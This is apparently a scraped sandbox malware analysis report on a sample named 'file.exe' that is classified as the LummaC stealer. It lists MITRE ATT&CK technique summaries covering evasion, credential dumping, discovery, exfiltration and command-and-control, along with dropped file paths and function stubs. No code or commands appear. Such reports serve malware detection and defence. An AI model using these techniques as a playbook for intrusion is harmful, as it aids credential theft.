Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\JJZGOUTRQA0HU75NUH14KKL5I2.exe.log

C:\Users\user\AppData\Local\Temp\JJZGOUTRQA0HU75NUH14KKL5I2.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 0101795E Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 105
sleepCOMMON

Function 056315D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Function 00FF6089 Relevance: 1.6, APIs: 1, Instructions: 115
libraryCOMMON

Function 01004F77 Relevance: 4.6, APIs: 3, Instructions: 82
registryCOMMON

Function 056315C4 Relevance: 1.8, APIs: 1, Instructions: 302
COMMON

Function 00FF61C4 Relevance: 1.6, APIs: 1, Instructions: 102
libraryCOMMON

Function 01003055 Relevance: 1.6, APIs: 1, Instructions: 77
libraryCOMMON

Function 05630D41 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Function 05630D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Function 05631509 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 05631510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Function 05631301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Function 05631308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Function 00FF8E50 Relevance: 1.5, APIs: 1, Instructions: 34
fileCOMMON

Function 00FF8C75 Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre